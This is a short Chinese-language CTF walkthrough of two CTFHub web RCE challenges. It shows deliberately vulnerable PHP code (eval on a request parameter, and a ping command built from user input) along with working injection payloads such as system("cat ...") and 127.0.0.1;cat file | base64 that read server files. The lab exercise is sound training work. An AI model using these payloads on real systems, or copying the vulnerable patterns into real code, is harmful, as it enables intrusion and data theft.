CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”
文章目录一、eval执行二、命令注入完–>CTFHub传送门<–一、eval执行<?phpif (isset($_REQUEST['cmd'])) {eval($_REQUEST["cmd"]);} else {highlight_file(__FILE__);}?>PHP代码显示,要求将命令赋值给cmd然后执行先查看一下根目录文件 /?cmd=system("ls");!
·
一、eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!
没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!
打开flag文件发现FLAG /?cmd=system("cat flag_1171");
!切记最后的分号不可省略!
二、命令注入
打开界面,命令应该是通过表单注入的
关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
IP会拼接成CMD指令然后运行
先测试一下IP 127.0.0.1
试一下能否用分号间隔运行多重命令
试试获取目录 127.0.0.1;pwd;ls;
发现同目录下还有一个PHP,应该就是FLAG的位置
直接打开看看 127.0.0.1;cat 2160627659946.php
但是发现打不开!
猜测可能是里面有特殊字符
使用管道运行base64加密内容再打开127.0.0.1;cat 2160627659946.php | base64
显示的密文即是FLAG
完
欢迎在评论区留言
感谢浏览
更多推荐
所有评论(0)